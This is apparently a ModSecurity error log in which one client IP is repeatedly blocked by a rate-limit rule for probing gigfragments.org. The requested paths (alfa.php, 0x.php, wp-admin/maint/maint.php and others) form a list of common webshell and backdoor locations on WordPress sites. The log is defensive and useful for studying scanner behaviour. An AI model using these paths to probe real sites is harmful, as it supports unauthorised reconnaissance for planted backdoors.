[Sat Jan 03 22:36:37.174073 2026] [:error] [pid 31222:tid 31237] [client 4.197.161.255:7115] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVkpdaHw6nASHXAc2v_2lQAAAc0"]
[Sat Jan 03 22:36:37.761363 2026] [:error] [pid 31222:tid 31227] [client 4.197.161.255:19929] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVkpdaHw6nASHXAc2v_2lwAAAcM"]
[Sat Jan 03 22:36:38.651106 2026] [:error] [pid 19639:tid 19660] [client 4.197.161.255:7070] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVkpdiQ7fWZUytnlHEwKhwAAAVM"]
[Sat Jan 03 22:36:39.126662 2026] [:error] [pid 34260:tid 34285] [client 4.197.161.255:19904] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVkpd0WWhyvZ0O9KNVQyjgAAARc"]
[Sat Jan 03 22:36:40.071158 2026] [:error] [pid 31630:tid 31633] [client 4.197.161.255:7121] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVkpePUV_PU2SWgLPuhuMwAAAYE"]
[Sat Jan 03 22:36:41.026664 2026] [:error] [pid 19639:tid 19651] [client 4.197.161.255:7141] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aVkpeSQ7fWZUytnlHEwKigAAAUo"]
[Sat Jan 03 22:36:42.144500 2026] [:error] [pid 34260:tid 34283] [client 4.197.161.255:19957] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aVkpekWWhyvZ0O9KNVQykAAAARU"]
[Sat Jan 03 22:36:43.482605 2026] [:error] [pid 31630:tid 31636] [client 4.197.161.255:7153] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aVkpe_UV_PU2SWgLPuhuNQAAAYQ"]
[Sat Jan 03 22:36:44.996950 2026] [:error] [pid 34260:tid 34275] [client 4.197.161.255:19911] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aVkpfEWWhyvZ0O9KNVQykgAAAQ0"]
[Sat Jan 03 22:36:45.457718 2026] [:error] [pid 31222:tid 31245] [client 4.197.161.255:19959] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aVkpfaHw6nASHXAc2v_2nQAAAdU"]
[Sat Jan 03 22:36:47.919199 2026] [:error] [pid 1931:tid 2030] [client 4.197.161.255:19843] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aVkpfx8Tyw7ZoIdXlcYV7QAAAIY"]
[Sat Jan 03 22:36:49.610582 2026] [:error] [pid 1931:tid 2032] [client 4.197.161.255:7045] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aVkpgR8Tyw7ZoIdXlcYV8AAAAIg"]
[Sat Jan 03 22:36:49.754166 2026] [:error] [pid 34260:tid 34269] [client 4.197.161.255:7125] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aVkpgUWWhyvZ0O9KNVQylgAAAQc"]
[Sat Jan 03 22:36:50.225940 2026] [:error] [pid 1929:tid 1954] [client 4.197.161.255:7106] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVkpgucFqdpu6TNsuWr9wwAAABA"]
[Sat Jan 03 22:36:50.827304 2026] [:error] [pid 31222:tid 31236] [client 4.197.161.255:7046] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVkpgqHw6nASHXAc2v_2oAAAAcw"]
[Sat Jan 03 22:36:51.744480 2026] [:error] [pid 1929:tid 1946] [client 4.197.161.255:7071] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVkpg-cFqdpu6TNsuWr9xwAAAAg"]
[Sat Jan 03 22:36:53.582035 2026] [:error] [pid 1931:tid 2048] [client 4.197.161.255:7167] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVkphR8Tyw7ZoIdXlcYV8wAAAJg"]
[Sat Jan 03 22:36:54.255763 2026] [:error] [pid 31222:tid 31229] [client 4.197.161.255:7157] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVkphqHw6nASHXAc2v_2ogAAAcU"]
[Sat Jan 03 22:36:55.834427 2026] [:error] [pid 1929:tid 1939] [client 4.197.161.255:7162] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVkph-cFqdpu6TNsuWr9zQAAAAE"]
[Sat Jan 03 22:36:56.511704 2026] [:error] [pid 1929:tid 1947] [client 4.197.161.255:7143] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVkpiOcFqdpu6TNsuWr9zgAAAAk"]
[Sat Jan 03 22:36:56.894218 2026] [:error] [pid 1929:tid 1954] [client 4.197.161.255:19888] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVkpiOcFqdpu6TNsuWr90gAAABA"]
[Sat Jan 03 22:36:57.622470 2026] [:error] [pid 1929:tid 1949] [client 4.197.161.255:7035] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aVkpiecFqdpu6TNsuWr90wAAAAs"]
[Sat Jan 03 22:36:59.789516 2026] [:error] [pid 31222:tid 31230] [client 4.197.161.255:7137] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aVkpi6Hw6nASHXAc2v_2pwAAAcY"]
[Sat Jan 03 22:37:01.416112 2026] [:error] [pid 1931:tid 1993] [client 4.197.161.255:7151] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aVkpjR8Tyw7ZoIdXlcYV9gAAAIA"]
[Sat Jan 03 22:37:02.435133 2026] [:error] [pid 1931:tid 2037] [client 4.197.161.255:7053] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aVkpjh8Tyw7ZoIdXlcYV-gAAAI0"]
[Sat Jan 03 22:37:03.420861 2026] [:error] [pid 19639:tid 19647] [client 4.197.161.255:7088] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVkpjyQ7fWZUytnlHEwKkwAAAUY"]
[Sat Jan 03 22:37:03.571221 2026] [:error] [pid 19639:tid 19662] [client 4.197.161.255:19920] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVkpjyQ7fWZUytnlHEwKlAAAAVU"]
[Sat Jan 03 22:37:04.519455 2026] [:error] [pid 1931:tid 2043] [client 4.197.161.255:7047] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVkpkB8Tyw7ZoIdXlcYWAgAAAJM"]
[Sat Jan 03 22:37:05.596190 2026] [:error] [pid 1931:tid 2038] [client 4.197.161.255:7096] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVkpkR8Tyw7ZoIdXlcYWBQAAAI4"]
[Sat Jan 03 22:37:06.789099 2026] [:error] [pid 31222:tid 31234] [client 4.197.161.255:7124] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVkpkqHw6nASHXAc2v_2qQAAAco"]
[Sat Jan 03 22:37:07.307484 2026] [:error] [pid 1931:tid 2036] [client 4.197.161.255:7042] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVkpkx8Tyw7ZoIdXlcYWBwAAAIw"]
[Sat Jan 03 22:37:07.584787 2026] [:error] [pid 1929:tid 1939] [client 4.197.161.255:19907] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVkpk-cFqdpu6TNsuWr93AAAAAE"]
[Sat Jan 03 22:37:07.927053 2026] [:error] [pid 1929:tid 1941] [client 4.197.161.255:19917] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVkpk-cFqdpu6TNsuWr93wAAAAM"]
[Sat Jan 03 22:37:08.408980 2026] [:error] [pid 1931:tid 2047] [client 4.197.161.255:7135] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVkplB8Tyw7ZoIdXlcYWCQAAAJc"]
[Sat Jan 03 22:37:08.583748 2026] [:error] [pid 1931:tid 1993] [client 4.197.161.255:19965] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVkplB8Tyw7ZoIdXlcYWDAAAAIA"]
[Sat Jan 03 22:37:08.904720 2026] [:error] [pid 1929:tid 1950] [client 4.197.161.255:7139] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVkplOcFqdpu6TNsuWr95AAAAAw"]
[Sat Jan 03 22:37:09.712136 2026] [:error] [pid 1929:tid 1951] [client 4.197.161.255:7156] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVkplecFqdpu6TNsuWr95wAAAA0"]
[Sat Jan 03 22:37:09.814708 2026] [:error] [pid 1931:tid 1994] [client 4.197.161.255:19939] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVkplR8Tyw7ZoIdXlcYWEQAAAIE"]
[Sat Jan 03 22:37:09.914432 2026] [:error] [pid 1931:tid 1999] [client 4.197.161.255:7097] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVkplR8Tyw7ZoIdXlcYWEgAAAIM"]
[Sat Jan 03 22:37:10.428060 2026] [:error] [pid 1929:tid 1944] [client 4.197.161.255:19884] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVkplucFqdpu6TNsuWr96QAAAAY"]
[Sat Jan 03 22:37:11.112998 2026] [:error] [pid 1931:tid 2038] [client 4.197.161.255:7134] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVkplx8Tyw7ZoIdXlcYWGAAAAI4"]
[Sat Jan 03 22:37:11.737798 2026] [:error] [pid 1931:tid 2036] [client 4.197.161.255:7055] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVkplx8Tyw7ZoIdXlcYWGgAAAIw"]
[Sat Jan 03 22:37:12.844407 2026] [:error] [pid 31630:tid 31634] [client 4.197.161.255:7060] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVkpmPUV_PU2SWgLPuhuQgAAAYI"]
[Sat Jan 03 22:37:34.350016 2026] [:error] [pid 31630:tid 31640] [client 4.197.161.255:7084] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVkprvUV_PU2SWgLPuhuZAAAAYg"]
[Sat Jan 03 22:37:35.536703 2026] [:error] [pid 1929:tid 1958] [client 4.197.161.255:7007] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVkpr-cFqdpu6TNsuWr-BgAAABQ"]
[Sat Jan 03 22:37:36.981462 2026] [:error] [pid 31222:tid 31238] [client 4.197.161.255:7119] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVkpsKHw6nASHXAc2v_2rAAAAc4"]
[Sat Jan 03 22:37:37.780681 2026] [:error] [pid 1931:tid 2042] [client 4.197.161.255:7065] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVkpsR8Tyw7ZoIdXlcYWegAAAJI"]
[Sat Jan 03 22:37:39.535617 2026] [:error] [pid 1930:tid 1988] [client 4.197.161.255:7152] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVkps5P-6mqhfUDa89zyogAAAFY"]
[Sat Jan 03 22:37:40.244217 2026] [:error] [pid 1931:tid 1996] [client 4.197.161.255:7118] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVkptB8Tyw7ZoIdXlcYWiAAAAII"]
[Sat Jan 03 22:37:40.696097 2026] [:error] [pid 1931:tid 2029] [client 4.197.161.255:7128] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVkptB8Tyw7ZoIdXlcYWjQAAAIU"]
[Sat Jan 03 22:37:42.186146 2026] [:error] [pid 1930:tid 1976] [client 4.197.161.255:7123] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVkptpP-6mqhfUDa89zypAAAAEo"]
[Sat Jan 03 22:37:43.137787 2026] [:error] [pid 1931:tid 2040] [client 4.197.161.255:19878] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aVkptx8Tyw7ZoIdXlcYWoAAAAJA"]
[Sat Jan 03 22:37:43.548478 2026] [:error] [pid 1929:tid 1948] [client 4.197.161.255:6993] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aVkpt-cFqdpu6TNsuWr-DwAAAAo"]
[Sat Jan 03 22:37:45.144900 2026] [:error] [pid 31630:tid 31639] [client 4.197.161.255:6983] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aVkpufUV_PU2SWgLPuhubQAAAYc"]
[Sat Jan 03 22:37:45.576503 2026] [:error] [pid 1929:tid 1960] [client 4.197.161.255:19898] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aVkpuecFqdpu6TNsuWr-EAAAABY"]
[Sat Jan 03 22:37:45.689985 2026] [:error] [pid 1929:tid 1952] [client 4.197.161.255:7113] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aVkpuecFqdpu6TNsuWr-EQAAAA4"]
